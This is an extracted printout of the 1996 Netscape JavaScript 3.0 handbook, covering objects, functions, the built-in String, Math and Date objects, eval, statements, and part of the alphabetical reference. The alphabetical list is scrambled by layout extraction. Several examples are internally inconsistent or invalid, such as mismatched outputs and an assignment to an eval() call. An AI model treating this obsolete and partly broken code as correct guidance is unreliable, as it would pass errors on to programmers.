In addition to objects that are built into the Navigator client and the LiveWire server, you can
define your own objects.

·
·
Objects and Properties
Functions and Methods
· Creating New Objects

Objects and Properties


A JavaScript object has properties associated with it. You access the properties of an object with a
simple notation:

objectName.propertyName

Both the object name and property name are case sensitive. You define a property by assigning it
a value. For example, suppose there is an object named myCar (we'll discuss how to create
objects later-for now, just assume the object already exists). You can give it properties named
make, model, and year as follows:

myCar.make = "Ford"
myCar.model = "Mustang"
myCar.year = 69;

You can also refer to these properties using an array notation as follows:

mycar["make"] = "Ford
myCar["model"] = "Mustang"
myCar["year"] = 69;

This type of an array is known as an associative array, because each index element is also
associated with a string value. To illustrate how this works, the following function displays the
properties of the object, when you pass the object and the object's name as arguments to the
function:

function show_props(obj, obj_name) {


var result = ""
for (var i in obj)
result += obj_name + "." + i + " = " + obj[i] + "\n"
return result;
}

So, the function call show_props(myCar, "myCar") would return the following:

myCar.make = Ford
myCar.model = Mustang
myCar.year = 67

You may also define properties using ordinal numbers, for example:

temp[0] = 34

1 of 6 30.08.96 16:41
wysiwyg://display.tocfr...k/javascript/model.html wysiwyg://display.tocframe.5/http://www....zilla/3.0/handbook/javascript/model.html

temp[1] = 42
temp[2] = 56

These statements create three properties of the object temp, and you must refer to these properties
as temp[i], where i is an integer between 0 and 2.

Functions and Methods


Functions are one of the fundamental building blocks in JavaScript. A function is a JavaScript
procedure--a set of statments that performs a specific task.

A function definition consists of the function keyword, followed by

·
·
the name of the function
a list of arguments to the function, enclosed in parentheses, and separated by commas
· the JavaScript statements that define the function, enclosed in curly braces, {...}

In a Navigator application, you can use any functions defined in the current page. It is generally a
good idea to define all your functions in the HEAD of a page. When a user loads the page, the
functions will then be loaded first.

The statements in a function can include other function calls defined for the current application.

For example, here is the definition of a simple function named pretty_print:

function pretty_print(string) {
document.write("<HR><P>" + string)
}

This function takes a string as its argument, adds some HTML tags to it using the concatenation
operator (+), then displays the result to the current document.

Defining a function does not execute it. You have to call the function for it to do its work. For
example, you could call the pretty_print function as follows:

<SCRIPT>
pretty_print("This is some text to display")
</SCRIPT>

The arguments of a function are not limited to just strings and numbers. You can pass whole
objects to a function, too. The show_props function from the previous section is an example of a
function that takes an object as an argument.

The arguments of a function are maintained in an array. Within a function, you can address the
parameters passed to it as follows:

functionName.arguments[ i]

where functionName is the name of the function and i is the ordinal number of the argument,
starting at zero. So, the first argument passed to a function named myfunc would be
myfunc.arguments[0]. The total number of arguments is indicated by the variable
arguments.length.

A function can even be recursive, that is, it can call itself. For example, here is a function that
computes factorials:

2 of 6 30.08.96 16:41
wysiwyg://display.tocfr...k/javascript/model.html wysiwyg://display.tocframe.5/http://www....zilla/3.0/handbook/javascript/model.html

function factorial(n) {
if ((n == 0) || (n == 1))
return 1
else {
result = (n * factorial(n-1) )
return result
}
}

You could then display the factorials of one through five as follows:

for (x = 0; x < 5; x++) {


document.write(x, " factorial is ", factorial(x))
document.write("
")
}

The results would be:


0 factorial is 1
1 factorial is 1
2 factorial is 2
3 factorial is 6
4 factorial is 24
5 factorial is 120

Functions with Variable Numbers of Arguments


You can call a function with more arguments than it is formally declared to accept using the
arguments array. This is often useful if you don't know beforehand how many arguments will be
passed to the function. You can use arguments.length to determine the number of arguments
actually passed to the function,a and then treat each argument using the arguments array.

For example, consider a function defined to create HTML lists. The only formal argument for the
function is a string that is "U" if the list is to be unordered (bulleted) or "O" if the list is to be
ordered (numbered). The function is defined as follows:

function list(type) {
document.write("<" + type + "L>") // begin list
for (var i = 1; i < list.arguments.length; i++) // iterate through arguments
document.write("<LI>" + list.arguments[i])
document.write("</" + type + "L>") // end list
}

You can pass any number of arguments to this function and it will then display each argument as
an item in the indicated type of list. For example, the following call to the function:

list("o", "one", 1967, "three", "etc, et


1. one
2. 1967
3. three
4. etc, etc...

Defining Methods

A method is a function associated with an object. You define a method in the same way

3 of 6 30.08.96 16:41
wysiwyg://display.tocfr...k/javascript/model.html wysiwyg://display.tocframe.5/http://www....zilla/3.0/handbook/javascript/model.html

as you define a standard function. Then, use the following syntax to associate the function
with an existing object:
object.methodname = function_name

where object is an existing object, methodname is the name you are assigning to
the method, and function_name is the name of the function.

You can then call the method in the context of the object as follows:

object.methodname(params);

Using this for Object References


JavaScript has a special keyword, this, that you can use to refer to the current
object. For example, suppose you have a function called validate that validates
an object's value property, given the object, and the high and low values:

function validate(obj, lowval, hival) {


if ((obj.value < lowval) || (obj.value > hival))
alert("Invalid Value!")
}

Then, you could call validate in each form element's onChange event handler,
using this to pass it the form element, as in the following example:

<INPUT TYPE = "text" NAME = "age" SIZE = 3 onChange="validate(this, 18, 99)">

In general, in a method this refers to the calling object.

Creating New Objects


Both client and server JavaScript have a number of predefined objects. In
addition, you can create your own objects. Creating your own object requires two
steps:

·
·
Define the object type by writing a function.
Create an instance of the object with new.

To define an object type, create a function for the object type that specifies
its name, and its properties and methods. For example, suppose you want to create
an object type for cars. You want this type of object to be called car, and you
want it to have properties for make, model, year, and color. To do this, you
would write the following function:

function car(make, model, year) {


this.make = make;
this.model = model;
this.year = year;
}

Notice the use of this to assign values to the object's properties based on the
values passed to the function.

Now you can create an object called mycar as follows:

mycar = new car("Eagle", "Talon TSi", 1993);

This statement creates mycar and assigns it the specified values for its
properties. Then the value of mycar.make is the string "Eagle", mycar.year is the
integer 1993, and so on.

You can create any number of car objects by calls to new. For example,

kenscar = new car("Nissan", "300ZX", 1992)

4 of 6 30.08.96 16:41
wysiwyg://display.tocfr...k/javascript/model.html wysiwyg://display.tocframe.5/http://www....zilla/3.0/handbook/javascript/model.html

An object can have a property that is itself another object. For example, suppose
I define an object called person as follows:

function person(name, age, sex) {


this.name = name;
this.age = age;
this.sex = sex;
}

And then instantiate two new person objects as follows:

rand = new person("Rand McNally", 33, "M")


ken = new person("Ken Jones", 39, "M")

Then we can rewrite the definition of car to include an owner property that takes
a person object, as follows:

function car(make, model, year, owner) {


this.make = make;
this.model = model;
this.year = year;
this.owner = owner;
}

To instantiate the new objects, you then use the following:

car1 = new car("Eagle", "Talon TSi", 1993, rand);


car2 = new car("Nissan", "300ZX", 1992, ken)

Notice that instead of passing a literal string or integer value when creating
the new objects, the above statements pass the objects rand and ken as the
arguments for the owners. Then if you want to find out the name of the owner of
car2, you can access the following property:

car2.owner.name

Note that you can always add a property to a previously defined object. For
example, the statement:

car1.color = "black"

adds a property color to car1, and assigns it a value of "black". However, this
does not affect any other objects. To add the new property to all objects of the
same type, you have to add the property to the definition of the car object type.

Defining Methods
You can define methods for an object type by including a method defnition in the
object type definition. For example, suppose you have a set of image GIF files,
and you want to define a method that displays the information for the cars, along
with the corresponding image. You could define a function such as:

function displayCar() {
var result = "A Beautiful " + this.year
+ " " + this.make + " " + this.model;
pretty_print(result)
}

where pretty_print is the previously defined function to display a string. Notice


the use of this to refer to the object to which the method belongs.

You can make this function a method of car by adding the statement

this.displayCar = displayCar;

5 of 6 30.08.96 16:41
wysiwyg://display.tocfr...k/javascript/model.html wysiwyg://display.tocframe.5/http://www....zilla/3.0/handbook/javascript/model.html

to the object definition. So, the full definition of car would now look like:

function car(make, model, year, owner) {


this.make = make;
this.model = model;
this.year = year;
this.owner = owner;
this.displayCar = displayCar;
}

Then you can call this new method as follows:

car1.displayCar()
car2.displayCar()

This will produce output like this:

A Beautiful 1993 Eagle Talon TSi

A Beautiful 1992 Nissan 300ZX

6 of 6 30.08.96 16:41
http://www.netscape.com...javascript/builtin.html http://www.netscape.com/eng/mozilla/3.0/handbook/javascript/builtin.html

Using Built-in Objects and Functions


The JavaScript Language contains the following built-in objects and functions:

·
·
String object
Math object
·
·
Date object
Built-in functions

These objects and their properties and methods are built into the language. You can use these
objects in both client applications with Netscape Navigator and server applications with
LiveWire.

Using the String Object


Whenever you assign a string value to a variable or property, you create a string object. String
literals are also string objects. For example, the statement

mystring = "Hello, World!"

creates a string object called mystring. The literal "blah" is also a string object.

The string object has methods that return:

·
·
a variation on the string itself, such as substring and toUpperCase.
an HTML formatted version of the string, such as bold and link.

For example, given the above object, mystring.toUpperCase() returns "HELLO, WORLD!",
and so does "hello, world!".toUpperCase() .

Using the Math Object


The built-in Math object has properties and methods for mathematical constants and functions.
For example, the Math object's PI property has the value of pi, which you would use in an
application as

Math.PI

Similarly, standard mathematical functions are methods of Math. These include trigonometric,
logarithmic, exponential, and other functions. For example, if you want to use the trigonometric
function sine, you would write

Math.sin(1.56)

Note that all trigonometric methods of math take arguments in radians.

It is often convenient to use the with statement when a section of code uses several math constants
and methods, so you don't have to type "Math" repeatedly. For example,

with (Math) {
a = PI * r*r;
y = r*sin(theta)
x = r*cos(theta)

1 of 4 30.08.96 16:45
http://www.netscape.com...javascript/builtin.html http://www.netscape.com/eng/mozilla/3.0/handbook/javascript/builtin.html

Using the Date Object


JavaScript does not have a date data type. However, the date object and its methods enable you to
work with dates and times in your applications. The date object has a large number of methods for
setting, getting, and manipulating dates. It does not have any properties.

JavaScript handles dates very similarly to Java. The two languages have many of the same date
methods, and both languages store dates as the number of milliseconds since January 1, 1970
00:00:00.

NOTE: You cannot currently work with dates prior to 1/1/70.

To create a date object:

varName = new Date( parameters)

where varName is a JavaScript variable name for the date object being created; it can be a new
object or a property of an existing object.

The parameters for the Date constructor can be any of the following:

·
·
Nothing: creates today's date and time. For example, today = new Date()
A string representing a date in the following form: "Month day, year
hours:minutes:seconds". For example, Xmas95= new Date("December 25, 1995
13:30:00") If you omit hours, minutes, or seconds, the value will be set to zero.
· A set of integer values for year, month, and day. For example, Xmas95 = new
Date(95,11,25)
· A set of values for year, month, day, hour, minute, and seconds For example, Xmas95 =
new Date(95,11,25,9,30,0)

The Date object has a large number of methods for handling dates and times. The methods fall
into these broad categories:

·
·
"set" methods, for setting date and time values in date objects
"get" methods, for getting date and time values from date objects
·
·
"to" methods, for returning string values from date objects.
parse and UTC methods, for parsing date strings.

The "get" and "set" methods enable you to get and set seconds, minutes, hours, day of the month,
day of the week, months, and years separately. There is a getDay method that returns the day of
the week, but no corresponding setDay method, because the day of the week is set automatically.
These methods use integers to represent these values as follows:

·
·
seconds and minutes: 0 to 59
hours: 0 to 23
·
·
day: 0 to 6 (day of the week)
date: 1 to 31 (day of the month)
·
·
months: 0 (January) to 11 (December)
year: years since 1900

For example, suppose you define the following date:

2 of 4 30.08.96 16:45
http://www.netscape.com...javascript/builtin.html http://www.netscape.com/eng/mozilla/3.0/handbook/javascript/builtin.html

Xmas95 = new Date("December 25, 1995")

Then Xmas95.getMonth() returns 11, and Xmas95.getYear() returns 95.

The getTime and setTime methods are useful for comparing dates. The getTime method returns
the number of milliseconds since the epoch for a date object.

For example, the following code displays the number of shopping days left until Christmas:

today = new Date()


nextXmas = new Date("December 25, 1990")
nextXmas.setYear(today.getYear())
msPerDay = 24 * 60 * 60 * 1000 ; // Number of milliseconds per day
daysLeft = (nextXmas.getTime() - today.getTime()) / msPerDay;
daysLeft = Math.round(daysLeft);
document.write("Number of Shopping Days until Christmas: " + daysLeft);

This example creates a date object named today that contains today's date. It then creates a date
object named nextXmas, and sets the year to the current year. Then, using the number of
milliseconds per day, it computes the number of days between today and nextXmas, using
getTime, and rounding to a whole number of days.

The parse method is useful for assigning values from date strings to existing date objects. For
example, the following code uses parse and setTime to assign a date to the IPOdate object.

IPOdate = new Date()


IPOdate.setTime(Date.parse("Aug 9, 1995"))

Using Built-in functions


JavaScript has several "top-level" functions built-in to the language. They are:

·
·
eval
parseInt
· parseFloat

The eval Function


The built-in function eval takes a string as its argument. The string can be is any string
representing a JavaScript expression, statement, or sequence of statements. The expression can
include variables and properties of existing objects.

If the argument represents an expression, eval evaluates the expression. If the argument represents
one or more JavaScript statements, eval performs the statements.

This function is useful for evaluating a string representing an arithmetic expression. For example,
input from a form element is always a string, but you often want to convert it to a numerical
value.

The following example takes input in a text field, applies the eval function and displays the result
in another text field. If you type a numerical expression in the first field, and click on the button,
the expression will be evaluted. For example, enter "(666 * 777) / 3", and click on the button to
see the result.

<SCRIPT>
function compute(obj) {

3 of 4 30.08.96 16:45
http://www.netscape.com...javascript/builtin.html http://www.netscape.com/eng/mozilla/3.0/handbook/javascript/builtin.html

obj.result.value = eval(obj.expr.value)
}
</SCRIPT>
<FORM NAME="evalform">
Enter an expression: <INPUT TYPE=text NAME="expr" SIZE=20 >
<BR>
Result: <INPUT TYPE=text NAME="result" SIZE=20 >
<BR>
<INPUT TYPE="button" VALUE="Click Me" onClick="compute(this.form)">
</FORM>

Enter an expression:
Result:
Click Me

The eval function is not limited to evaluating numerical expressions, however. Its argument can
include object references or even JavaScript statements. For example, you could define a function
called setValue that would take two arguments: and object and a value, as follows:

function setValue (myobj, myvalue) {


eval ("document.forms[0]." + myobj + ".value") = myvalue;
}

Then, for example, you could call this function to set the value of a form element "text1" as
follows:

setValue(text1, 42)

The parseInt and parseFloat Functions


These two built-in functions return a numeric value when given a string as an argument.

ParseFloat parses its argument, a string, and attempts to return a floating point number. If it
encounters a character other than a sign ( + or -), numeral (0-9), a decimal point, or an exponent,
then it returns the value up to that point and ignores that character and all succeeding characters.
If the first character cannot be converted to a number, it returns NaN (not a number).

The parseInt function parses its first argument, a string, and attempts to return an integer of the
specified radix (base). For example, a radix of 10 indicates to convert to a decimal number, 8
octal, 16 hexadecimal, and so on. For radixes above 10, the letters of the alphabet indicate
numerals greater than 9. For example, for hexadecimal numbers (base 16), A through F are used.

If parseInt encounters a character that is not a numeral in the specified radix, it ignores it and all
succeeding characters and returns the integer value parsed up to that point. If the first character
cannot be converted to a number in the specified radix, it returns NaN. ParseInt truncates numbers
to integer values.

4 of 4 30.08.96 16:45
wysiwyg://display.tocfr...javascript/stmtsov.html wysiwyg://display.tocframe.5/http://www....lla/3.0/handbook/javascript/stmtsov.html

Overview of JavaScript Statements


JavaScript supports a compact set of statements that you can use to incorporate a great deal of
interactivity in web pages. The statements are:

· Conditional statements
o if...else
· Loop statements
o for
o while
o break
o continue
· Object manipulation statements
o for...in
o new
o this
o with
· Comments
o //
o /*...*/

The following sections provide a brief overview of each statement. See the statements reference
for detailed information about statement syntax.

Conditional Statements
Conditional statements let you perform certain actions based on a logical condition. You specify a
condition to test and the commands to execute if the condition is true. JavaScript has one
conditional statement: the if statement.

if statement

An if statement is an either/or switch. If a specified condition is true, JavaScript performs certain


statements. If the condition is false, JavaScript might perform other statements. An if statement
looks as follows:

if (condition) {
statements1 }
[else {
statements2}]

The condition can be any JavaScript expression that evaluates to true or false. The conditional
statements can be any JavaScript statements, including further nested if statements. Multiple
statements must be enclosed in braces.

Example. In the following example, the function checkData() returns true if the number of
characters in a text object is three; otherwise, it displays an alert and returns false.

function checkData (){


if (document.form1.threeChar.value.length == 3) {
return true}
else {

1 of 6 30.08.96 17:14
wysiwyg://display.tocfr...javascript/stmtsov.html wysiwyg://display.tocframe.5/http://www....lla/3.0/handbook/javascript/stmtsov.html

alert("Enter exactly three characters. " + document.form1.threeChar.value + " is not vali


return false}
}

Loop Statements
A loop is a set of commands that executes repeatedly until a specified condition is met. JavaScript
supports two loop structures: for and while. In addition, the break and continue statements are
used specifically with loops.

Another statement, for...in, executes statements repeatedly but is used for object manipulation.
See Object Manipulation Statements.

for statement

A for loop repeats a loop until a specified condition evaluates to false. The JavaScript for loop is
similar to the Java for loop and the traditional for loop in C. A for statement looks as follows:

for ([ initial-expression;] [ condition;] [ increment-expression]) {


statements
}

When a for loop is encountered, the initial-expression is executed. The statements are executed as
long as condition evaluates to true. The increment-expression is performed on each pass through
the loop. The sequence of execution is as follows:

1. The initializing expression initial-expression, if any, is executed. This expression usually


initializes one or more loop counters, but the syntax allows an expression of any degree of
complexity.
2. The condition expression is evaluated. If the value of condition is true, the loop statements
execute. If the value of condition is false, the for loop terminates.
3. The update expression increment-expression executes.
4. The statements execute and control returns to step 2.

Example. The following function contains a for statement that counts the number of selected
options in a scrolling list (a select object that allows multiple selections). The for statement
declares the variable i and initializes it to zero. It checks that i is less than the number of options
in the select object, performs the succeeding if statement, and increments i by one after each pass
through the loop.

<SCRIPT>
function howMany(selectObject) {
var numberSelected=0
for (i=0; i < selectObject.options.length; i++) {
if (selectObject.options[i].selected==true)
numberSelected++
}
return numberSelected
}
</SCRIPT>
<FORM NAME="selectForm">
<P><B>Choose some music types, then click the button below:</B>
<BR><SELECT NAME="musicTypes" MULTIPLE>
<OPTION SELECTED> R&B
<OPTION> Jazz

2 of 6 30.08.96 17:14
wysiwyg://display.tocfr...javascript/stmtsov.html wysiwyg://display.tocframe.5/http://www....lla/3.0/handbook/javascript/stmtsov.html

<OPTION> Blues
<OPTION> New Age
<OPTION> Classical
<OPTION> Opera
</SELECT>
<P><INPUT TYPE="button" VALUE="How many are selected?"
onClick="alert ('Number of options selected: ' + howMany(document.selectForm.musicTypes))">
</FORM>

while statement

A while statement repeats a loop as long as a specified condition evaluates to true. A while
statement looks as follows:

while (condition) {
statements
}

If the condition becomes false, the statements within the loop stop executing and control passes to
the statement following the loop.

The condition test occurs only when the statements in the loop have been executed and the loop is
about to be repeated. That is, the condition test is not continuous, but is performed once at the
beginning of the loop and again just following the last statement in statements, each time control
passes through the loop.

Example 1. The following while loop iterates as long as n is less than three.

n = 0
x = 0
while( n < 3 ) {
n ++
x += n
}

Each iteration, the loop increments n and adds it to x. Therefore, x and n take on the following
values:

·
·
After the first pass: n = 1 and x = 1
After the second pass: n = 2 and x = 3
· After the third pass: n = 3 and x = 6

After completing the third pass, the condition n < 3 is no longer true, so the loop terminates.

Example 2: infinite loop. Make sure the condition in a loop eventually becomes false; otherwise,
the loop will never terminate. The statements in the following while loop execute forever because
the condition never becomes false:

while (true) {
alert("Hello, world") }

break statement
The break statement terminates the current while or for loop and transfers program control to the
statement following the terminated loop. A break statement looks as follows:

break

3 of 6 30.08.96 17:14
wysiwyg://display.tocfr...javascript/stmtsov.html wysiwyg://display.tocframe.5/http://www....lla/3.0/handbook/javascript/stmtsov.html

Example. The following function has a break statement that terminates the while loop when i is
3, and then returns the value 3 * x.

function testBreak(x) {
var i = 0
while (i < 6) {
if (i == 3)
break
i++
}
return i*x
}

continue statement

A continue statement terminates execution of the block of statements in a while or for loop, and
continues execution of the loop with the next iteration. A continue statement looks as follows:

continue

In contrast to the break statement, continue does not terminate the execution of the loop entirely.
Instead,

·
·
In a while loop, it jumps back to the condition.
In a for loop, it jumps to the increment-expression.

Example. The following example shows a while loop that has a continue statement that executes
when the value of i is 3. Thus, n takes on the values 1, 3, 7, and 12.

i = 0
n = 0
while (i < 5) {
i++
if (i == 3)
continue
n += i
}

Object Manipulation Statements


JavaScript has several ways of manipulating objects: for...in statement, new operator, this
keyword, and with statement.

for...in statement

The for...in statement iterates a specified variable over all the properties of an object. For each
distinct property, JavaScript executes the specified statements. A for...in statement looks as
follows:

for (variable in object) {


statements }

Example. The following function takes as its argument an object and the object's name. It then
iterates over all the object's properties and returns a string that lists the property names and their
values.

4 of 6 30.08.96 17:14
wysiwyg://display.tocfr...javascript/stmtsov.html wysiwyg://display.tocframe.5/http://www....lla/3.0/handbook/javascript/stmtsov.html

function dump_props(obj, obj_name) {


var result = ""
for (var i in obj) {
result += obj_name + "." + i + " = " + obj[i] + "<BR>"
}
result += "<HR>"
return result
}

For an object car with properties make and model, result would be:

car.make=Ford
car.model=Mustang

new operator

The new operator lets you create an instance of a user-defined object type. Use new as follows:

objectName = new objectType ( param1 [,param2] ...[, paramN] )

For information, see new in the statements reference.

this keyword
Use the this keyword to refer to the current object. In general, this refers to the calling object in a
method. Use this as follows:

this[.propertyName]

Example. Suppose a function called validate validates an object's value property, given the object
and the high and low values:

function validate(obj, lowval, hival) {


if ((obj.value < lowval) || (obj.value > hival))
alert("Invalid Value!")
}

You could call validate in each form element's onChange event handler, using this to pass it the
form element, as in the following example:

<B>Enter a number between 18 and 99:</B>


<INPUT TYPE = "text" NAME = "age" SIZE = 3
onChange="validate(this, 18, 99)">

with statement
The with statement establishes the default object for a set of statements. Within the set of
statements, any property references that do not specify an object are assumed to be for the default
object. A with statement looks as follows:

with (object){
statements
}

Example. The following with statement specifies that the Math object is the default object. The
statements following the with statement refer to the PI property and the cos and sin methods,
without specifying an object. JavaScript assumes the Math object for these references.

5 of 6 30.08.96 17:14
wysiwyg://display.tocfr...javascript/stmtsov.html wysiwyg://display.tocframe.5/http://www....lla/3.0/handbook/javascript/stmtsov.html

var a, x, y
var r=10
with (Math) {
a = PI * r * r
x = r * cos(PI)
y = r * sin(PI/2)
}

Comments
Comments are notations by the author to explain what a script does. Comments are ignored by the
interpreter. JavaScript supports Java-style comments:

·
·
Comments on a single line are preceded by a double-slash (//).
Comments that span multiple lines are preceded by a /* and followed by a */.

Example.. The following example shows two comments.

// This is a single-line comment.


/* This is a multiple-line comment. It can be of any length, and
you can put whatever you want here. */

Last modified 01/01/70 01:00:00

6 of 6 30.08.96 17:14
http://www.netscape.com..._a-c.html#anchor_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_a-c.html#anchor_object

Alphabetical list
The following objects, methods, properties, and event handlers are available in JavaScript:
·
·
abs
acos
·
getDay
·
getHours
·
·
port
pow
·
·
action
alert
·
getMinutes
·
getMonth
·
·
prompt
protocol
·
·
alinkColor
anchor
·
getSeconds
·
getTime
·
·
radio
random
·
·
anchor (anchors array)
anchors
·
getTimezoneOffset
·
getYear
·
·
referrer
reset
·
·
appCodeName
appName
go
hash
·
· ·
·
round
search
·
·
appVersion
asin
·
hidden
·
history
·
·
select
select (options array)
·
·
atan
back
host·
·
hostname
·
·
selected
selectedIndex
·
·
bgColor
big
href·
·
index
·
·
self
setDate
·
·
blink
blur
·
indexOf
·
isNaN
·
·
setHours
setMinutes
·
·
bold
button
·
italics
·
lastIndexOf
·
·
setMonth
setSeconds
·
·
ceil
charAt
·
lastModified
·
length
·
·
setTime
setTimeout
·
·
checkbox
checked
link·
·
link (links array)
·
·
setYear
sin
·
·
clearTimeout
click
·
linkColor
·
links
·
·
small
sqrt
·
·
close (document)
close (window)
LN2
LN10
·
· ·
·
SQRT1_2
SQRT2
·
·
confirm
cookie log
·
location
· ·
·
status
strike
·
·
cos
Date
·
LOG2E
·
LOG10E
·
·
string
sub
·
·
defaultChecked
defaultSelected
Math
max
·
· ·
·
submit
submit
·
·
defaultStatus
defaultValue min
·
method
· ·
·
substring
sup
·
·
document
E
name·
·
navigator
·
·
tan
target
·
·
elements array
elements
·
onBlur
·
onChange
·
·
text
text
·
·
encoding
escape
·
onClick
·
onFocus
·
·
textarea
title
·
·
eval
exp
·
onLoad
·
onMouseOver
·
·
toGMTString
toLocaleString
·
·
fgColor
fixed
·
onSelect
·
onSubmit
·
·
toLowerCase
top
·
·
floor
focus
·
onUnload
·
open (document)
·
·
toUpperCase
unescape
·
·
fontcolor
fontsize
·
open (window)
·
options
·
·
URL
userAgent

1 of 28 30.08.96 17:26
http://www.netscape.com..._a-c.html#anchor_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_a-c.html#anchor_object

·
·
fontsize
form (forms array)
·
·
options
parent
·
·
userAgent
UTC
·
·
forms
forward
·
·
parse
parseFloat
·
·
value
vlinkColor
·
·
frame (frames array)
frames
·
·
parseInt
password
·
·
window
window
· getDate ·
·
pathname
PI
·
·
write
writeln

abs method
Returns the absolute value of a number.

Syntax
Math.abs( number)

number is any numeric expression or a property of an existing object.

Method of
Math

Examples
In the following example, the user enters a number in the first text box and presses the Calculate
button to display the absolute value of the number.

<FORM>
<P>Enter a number:
<INPUT TYPE="text" NAME="absEntry">

<P>The absolute value is:


<INPUT TYPE="text" NAME="result">

<P>
<INPUT TYPE="button" VALUE="Calculate"
onClick="form.result.value = Math.abs(form.absEntry.value)">

</FORM>

acos method
Returns the arc cosine (in radians) of a number.

Syntax
Math.acos( number)

number is a numeric expression between -1 and 1, or a property of an existing object.

Method of

2 of 28 30.08.96 17:26
http://www.netscape.com..._a-c.html#anchor_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_a-c.html#anchor_object

Math

Description
The acos method returns a numeric value between 0 and pi radians. If the value of number is
outside the suggested range, the return value is always 0.

Examples
// Displays the value 0
document.write("The arc cosine of 1 is " + Math.acos(1))

// Displays the value 3.141592653589793


document.write("<P>The arc cosine of -1 is " + Math.acos(-1))

// Displays the value 0


document.write("<P>The arc cosine of 2 is " + Math.acos(2))

See also

· asin, atan, cos, sin, tan methods

action property
A string specifying a destination URL for form data that is submitted.

Syntax
formName.action

formName is either the name of a form or an element in the forms array.

Property of
form

Description
The action property is a reflection of the ACTION attribute of the <FORM> tag. Each section of a
URL contains different information. See the location object for a description of the URL
components.

You can set the action property at any time.

Certain values of the action property may require specific values for other form properties. See
RFC 1867 for more information.

Examples
The following example sets the action property of the musicForm form to the value of the variable
urlName:

document.musicForm.action=urlName

3 of 28 30.08.96 17:26
http://www.netscape.com..._a-c.html#anchor_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_a-c.html#anchor_object

document.musicForm.action=urlName

See also

· encoding, method, target properties

alert method
Displays an Alert dialog box with a message and an OK button.

Syntax
alert(" message")

message is any string or a property of an existing object.

Method of
window

Description
Use the alert method to display a message that does not require a user decision. The message
argument specifies a message that the dialog box contains.

Although alert is a method of the window object, you do not need to specify a windowReference
when you call it. For example, windowReference.alert() is unnecessary.

Examples
In the following example, the testValue() function checks the name entered by a user in the text
object of a form to make sure that it is no more than eight characters in length. This example uses
the alert method to prompt the user to enter a valid value.

function testValue(textElement) {
if (textElement.length > 8) {
alert("Please enter a name that is 8 characters or less")
}
}

You can call the testValue() function in the onBlur event handler of a form's text object, as shown
in the following example:

Name: <INPUT TYPE="text" NAME="userName"


onBlur="testValue(userName.value)">

See also

· confirm, prompt methods

alinkColor property
A string specifying the color of an active link (after mouse-button down, but before mouse-button

4 of 28 30.08.96 17:26
http://www.netscape.com..._a-c.html#anchor_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_a-c.html#anchor_object

A string specifying the color of an active link (after mouse-button down, but before mouse-button
up).

Syntax
document.alinkColor

Property of
document

Description
The alinkColor property is expressed as a hexadecimal RGB triplet or as one of the string literals
listed in Color Values. This property is the JavaScript reflection of the ALINK attribute of the
<BODY> tag. You cannot set this property after the HTML source has been through layout.

If you express the color as a hexadecimal RGB triplet, you must use the format rrggbb. For
example, the hexadecimal RGB values for salmon are red=FA, green=80, and blue=72, so the
RGB triplet for salmon is "FA8072".

Examples
The following example sets the color of active links to aqua using a string literal:

document.alinkColor="aqua"

The following example sets the color of active links to aqua using a hexadecimal triplet:

document.alinkColor="00FFFF"

See also

· bgColor, fgColor, linkColor, and vlinkColor properties

anchor method
Creates an HTML anchor that is used as a hypertext target.

Syntax
text.anchor( nameAttribute)

text is any string or a property of an existing object.


nameAttribute is any string or a property of an existing object.

Method of
string

Description
Use the anchor method with the write or writeln methods to programatically create and display an
anchor in a document. Create the anchor with the anchor method, then call write or writeln to

5 of 28 30.08.96 17:26
http://www.netscape.com..._a-c.html#anchor_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_a-c.html#anchor_object

anchor in a document. Create the anchor with the anchor method, then call write or writeln to
display the anchor in a document.

In the syntax, the text string represents the literal text that you want the user to see. The
nameAttribute string represents the NAME attribute of the <A> tag.

Anchors created with the anchor method become elements in the anchors array. See the anchor
object for information about the anchors array.

Examples
The following example opens the msgWindow window and creates an anchor for the Table of
Contents:

var myString="Table of Contents"

msgWindow=window.open("","displayWindow")
msgWindow.document.writeln(myString.anchor("contents_anchor"))
msgWindow.document.close()

The previous example produces the same output as the following HTML:

<A NAME="contents_anchor">Table of Contents</A>

See also

· link method

anchor object (anchors array)


A piece of text that can be the target of a hypertext link.

Syntax
To define an anchor, use standard HTML syntax:

<A [HREF= locationOrURL]


NAME=" anchorName"
[TARGET=" windowName"]>
anchorText
</A>

HREF=locationOrURL identifies a destination anchor or URL. If this attribute is present, the


anchor object is also a link object. See link for details.
NAME="anchorName" specifies a tag that becomes an available hypertext target within the
current document.
TARGET="windowName" specifies the window that the link is loaded into. This attribute is
meaningful only if HREF=locationOrURL is present. See link for details.
anchorText specifies the text to display at the anchor.

You can also define an anchor using the anchor method.

Property of

6 of 28 30.08.96 17:26
http://www.netscape.com..._a-c.html#anchor_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_a-c.html#anchor_object

· document

Description
If an anchor object is also a link object, the object has entries in both the anchors and links arrays.

The anchors array

You can reference the anchor objects in your code by using the anchors array. This array contains
an entry for each <A> tag containing a NAME attribute in a document in source order. For
example, if a document contains three named anchors, these anchors are reflected as
document.anchors[0] , document.anchors[1] , and document.anchors[2] .

To use the anchors array:

1. document.anchors[ index]
2. document.anchors.length

index is an integer representing an anchor in a document.

To obtain the number of anchors in a document, use the length property:


document.anchors.length .

Even though the anchors array represents named anchors, the value of anchors[index] is always
null. But if a document names anchors in a systematic way using natural numbers, you can use
the anchors array and its length property to validate an anchor name before using it in operations
such as setting location.hash . See the example below.

Elements in the anchors array are read-only. For example, the statement
document.anchors[0]="anchor1" has no effect.

Properties
The anchors object has no properties. The anchors array has the following properties:
· length reflects the number of named anchors in a document

Methods

· None.

Event handlers

· None.

Examples

Example 1: an anchor. The following example defines an anchor for the text "Welcome to
JavaScript".

<A NAME="javascript_intro"><H2>Welcome to JavaScript</H2></A>

If the preceding anchor is in a file called intro.html, a link in another file could define a jump to
the anchor as follows:

7 of 28 30.08.96 17:26
http://www.netscape.com..._a-c.html#anchor_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_a-c.html#anchor_object

<A HREF="intro.html#javascript_intro">Introduction</A>

Example 2: anchors array. The following example opens two windows. The first window
contains a series of buttons that set location.hash in the second window to a specific anchor.
The second window defines four anchors named "0", "1", "2", and "3". (The anchor names in the
document are therefore 0, 1, 2, ... (document.anchors.length-1)). When a button is pressed in the
